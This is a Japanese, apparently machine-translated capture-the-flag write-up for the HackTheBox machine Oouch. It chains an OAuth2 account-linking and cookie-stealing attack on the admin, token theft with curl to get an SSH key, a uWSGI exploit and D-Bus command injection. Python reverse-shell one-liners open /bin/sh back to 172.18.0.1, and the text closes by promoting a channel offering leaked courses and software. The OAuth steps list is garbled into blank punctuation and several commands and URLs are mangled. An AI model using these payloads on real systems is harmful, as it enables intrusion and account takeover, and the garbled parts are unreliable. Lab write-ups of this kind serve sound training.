
HackTheBox プラットフォームからマシンのファイナライズのために送信されたソリューションを引き続き公開しています。
この記事では、OAuth2認証への攻撃を分析し、管理者Cookieを乗っ取るためにアプリケーションを登録します。これに加えて、WebサーバーとuWSGI WebアプリケーションサーバーでRCEを実行し、D-Busメッセージバスを介して特権を昇格させます。
ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいるので、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。
組織情報
偵察
このマシンのIPアドレスは10.10.10.177で、これを/ etc / hostsに追加します。
10.10.10.177 oouch.htb
最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500
ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。
nmap -A oouch.htb -p8000,22,21,5000,5555
したがって、次のようになります。
- ポート22はSSHです。
- ポート8000は、コード400で応答するWebサーバーです。
- ポート5000-Webサーバー、認証ページにリダイレクトします。
- ポート21-project.txtファイルが配置されているFTP。匿名からの許可を得てアクセスできます。
匿名でFTPにアクセスし、ファイルをダウンロードしてを参照してください。
何も教えてくれません。Webサーバーに移動します。
nmapレポートから次のように、認証ページへのリダイレクトが発生します。登録の可能性がありますので、登録してからログインしましょう。
したがって、このサイトは開発中であり、ユーザーに関する最小限の情報を保存し、ドキュメントを保存する機能があり(このオプションは開発者のみが利用できます)、管理者からのフィードバックもあります。sysadminがすべてのメッセージを読み取ることが保証されています。
Cookieを盗もうとすると、タグがブロックされました(ちなみに、タグはブロックされなくなりました)。
ベクトルが見つからなかったため、ディレクトリをスキャンすることにしました。
dirb http://oouch.htb:5000/
そして、1つの隠しディレクトリoauthが見つかります。
このドメインを/ etc / hostsに追加しましょう。
10.10.10.177 consumer.oouch.htb
しかし、リダイレクトがあります。このドメインを/ etc / hostsに追加しましょう。
10.10.10.177 authorization.oouch.htb
再びログインページを満たしています。同じ資格でログインします。しかし、新たな試みにより、ポート8000に転送されます。
consumer.oouch.htbは:5000 /にOAuth /接続- > authorization.oouch.htb:8000 /ログインは/
ディレクトリをスキャンしたすぐに私たちもここに登録して、私たちは、何が面白いを見つけることができません。
そして、dirbが見つけられなかった新しいディレクトリを見つけます。検索してみましょう。
dirb http://authorization.oouch.htb:8000/oauth
もう1つのディレクトリがあります!しかし、そこで私たちはHTTP認証によって満たされます。
このディレクトリでも行います。
dirb http://authorization.oouch.htb:8000/oauth/applications/
ほとんどの場合、アプリケーションはこのディレクトリにあり、登録できます。ここでは、これ以上興味深いものはありません。
必要に応じて登録することで、元の接続に戻ります。OAuth認証が使用されます。
OAuth認証
OAuthは、ログインとパスワードをサードパーティに転送することなく、保護されたユーザーリソースへのアクセスを制限してサードパーティに提供できるオープン認証プロトコルです。
OAuthは、クライアント資格情報、一時資格情報、およびトークン資格情報の3種類の資格情報を使用します。
OAuth 2.0プロトコルの手順:
- . (client ID), (client secret), URI (redirect URI) .
- , authorization grant.
- , .
- , , ( ). .
- .
- , .
このようにして、ユーザーアカウントはリソースサーバー上の特定のリソースに関連付けられます。
Oauth攻撃
このプロトコルは攻撃される可能性があり、アカウントを別のユーザーのリソースにリンクすることができます。これを行うには、1回限りのアクセストークンを使用する必要はありませんが、別のユーザーにそれをサーバーに転送するように強制します。次に、トークンを所有するアカウントは、トークンを提供したアカウントのリソースに関連付けられます。
sysadminはすべてのメッセージに応答するため、送信するリンクをたどる可能性があります。さらに、このアプリケーションでは、アクセストークンはHTTPヘッダーではなく(本来あるべきことですが)、URLパラメーターで渡されます。このようにして、この攻撃を実行できます。
行くconsumer.oouch.htb 5000 / OAuthを/接続やげっぷスイートを使用してそれをキャッチ:。
このリクエストをスキップすると、クライアントIDパラメータを使用してリダイレクトされます。
このリクエストもスキップします。リダイレクトが再び続き、認証プロトコルの他のパラメーターを観察できます。
もう一度リクエストをスキップしてください。ページに認証ウィンドウが表示されます。終了するには、承認ボタンをクリックします。
このリクエストはスキップします。そして今、パラメータとしてワンタイムコードを使用して、再びリダイレクトされています!
このトークンを保存して、リクエストを破棄しましょう。このリンクを管理者に送信して、管理者がフォローすると、アカウントが管理者のリソースに関連付けられるようにします(覚えていれば、管理者にはドキュメントを保存する権利があります)。
それでは、consumer.oouch.htb:5000 / oauth / loginを見てみましょう。
すでにおなじみのボタンをクリックすると、開いたページでユーザープロファイルqtcが表示されます。
ドキュメントを見てみましょう。
SSHキー、ユーザーディレクトリ、およびアプリケーションを登録するための資格情報に関するレコードがあります。
エントリーポイント
アプリケーションを登録できれば、管理者にそのアプリケーションにアクセスして自分のCookieを見つけるように強制できます。
アプリケーション登録ページに戻ってログインしましょう。そして、開いたフォームで、クライアントのパブリックタイプ、許可付与のコードタイプを示し、接続のためにローカルホストで開いているポートを示す新しいアプリケーションを登録します。
クライアントIDとクライアントシークレットを保存します。自分自身を認証して、認証が機能していることと、ユーザーがリダイレクトされることを確認してみましょう。
リンクを作成し、登録されたアプリケーションのデータを対応するパラメーターで指定します:
authorization.oouch.htb:8000 /にOAuth / AUTHORIZE / CLIENT_ID = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs &REDIRECT_URI =のhttp://10.10.14.203: 4321&grant_type = authorization_code&client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6
今の接続を確認するために、それに従ってください。
すべてが機能するので、管理者に送信しましょう。
これが私たちがそのクッキーを認識する方法です。それらを適用しましょう。
そして、サーバー上でqtcとして承認されています。
ユーザー
リソースにアクセスするには、トークンが必要です。サーバーがそれを返すために、権限付与タイプをclient_credentialsに変更します。
そして、curlを使用してトークンを要求します。POSTメソッド(-X)、必要なHTTPヘッダー(-H)、Cookie、送信するデータを設定し、リダイレクト(-L)も許可します。応答はJSON形式で返されるため、jqを使用して応答を適切に表示します。
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq
トークンを受け取ります。そして今、私たちは文書にリストされたリソースに目を向けることができます。これもカールでやってみましょう。
curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
予想通り、ユーザーに関する情報を受け取ります。しかし、私は次に何をすべきかわかりませんでした!「ユーザーデータを取得するためのAPIは準備ができていますが、SSHキーを取得する計画があります」と彼らが私にほのめかしたときにのみ推測が行われました。次に、get_user APIと同様に、ユーザーに関する情報を取得するには、get_sshを呼び出そうとすると思いました。
curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq
そして、ユーザーのqtcキーを取得します。通常の形式にした後、ホストに接続してユーザーを取得します。
ルート
ホストでの偵察のために、LinPEASを実行します。その結果、ルートに残されたメモが見つかりました。
そして、dockerがホストと秘密のsshキーで実行されているという事実以外に、何も見つかりません。
ほとんどの場合、攻撃のベクトルはドッカーに行くことです。さらに、メモにはDBusとiptablesが記載されています。誰もがすでにiptablesについて知っていますが、DBusは別の問題です。 DbusまたはDesktopBusは、主にLinuxオペレーティングシステムで使用され、さまざまなアプリケーションやサービスが相互に通信できるようにするシステムです。
見つかったネットワークインターフェイスを見てみましょう。
そして、2つのホストが表示されます。なんとか最初のものに入ることができました。
そして、ディレクトリ/コードを見つけます。
start.shには、uwsgiの使用法があります。
そしてroutes.pyには、dbusの使用法があります。
したがって、サービスのユーザーには、dbusを使用する権利があります。つまり、シェルを取得する必要があります。
uWSGIは、元々WSGIプロトコルを介してPythonアプリケーションを実行するために実装されたWebサーバーおよびWebアプリケーションサーバーです。Django、Flaskなどのフレームワークに基づいてアプリケーションを実行するために使用されます。エクスプロイトを探しましょう。
最初のものをダウンロードして、ホストにアップロードします。
scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/
はじめましょう。
したがって、uwsgiソケットが必要です。さらに、サービスは現在実行中です。
これは、ソケットがtmpディレクトリにもあることを意味します。
すべてのパラメーターを使用してエクスプロイトを実行してみましょう。
バイトのインポート時にエラーが発生するので、ソースコードを変更してみましょう。
エクスプロイトを再度実行すると、機能しますが、機能しません。bashシェルをpythonに置き換えました。機能した。
python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
netcatのある端末では、接続が表示されます。
そして今、私たちはdbusを実行する権利を持っています。dbus-sendコマンドは、D-Busメッセージバスにメッセージを送信するために使用されます。よく知られているメッセージバスには、システム全体のメッセージバスとユーザーのログインセッション用のメッセージバスの2つがあります。dbus-sendを使用するには、-destパラメーターで指定されている「接続名」を知っている必要があります。オブジェクトへのパスと送信するメッセージの名前は常に指定する必要があります。次の引数がある場合は、メッセージの内容(メッセージ引数)です。それらは、タイプ名、コロン、そして引数の値として与えられます。可能なタイプ名:string、int32、uint32、double、byte、boolean。
コマンドの例:
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block “string:; SHELL”
--print-replyを使用して、リクエストへの返信をブロックします。
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"
そして、接続が成功しました。Telegramに
参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。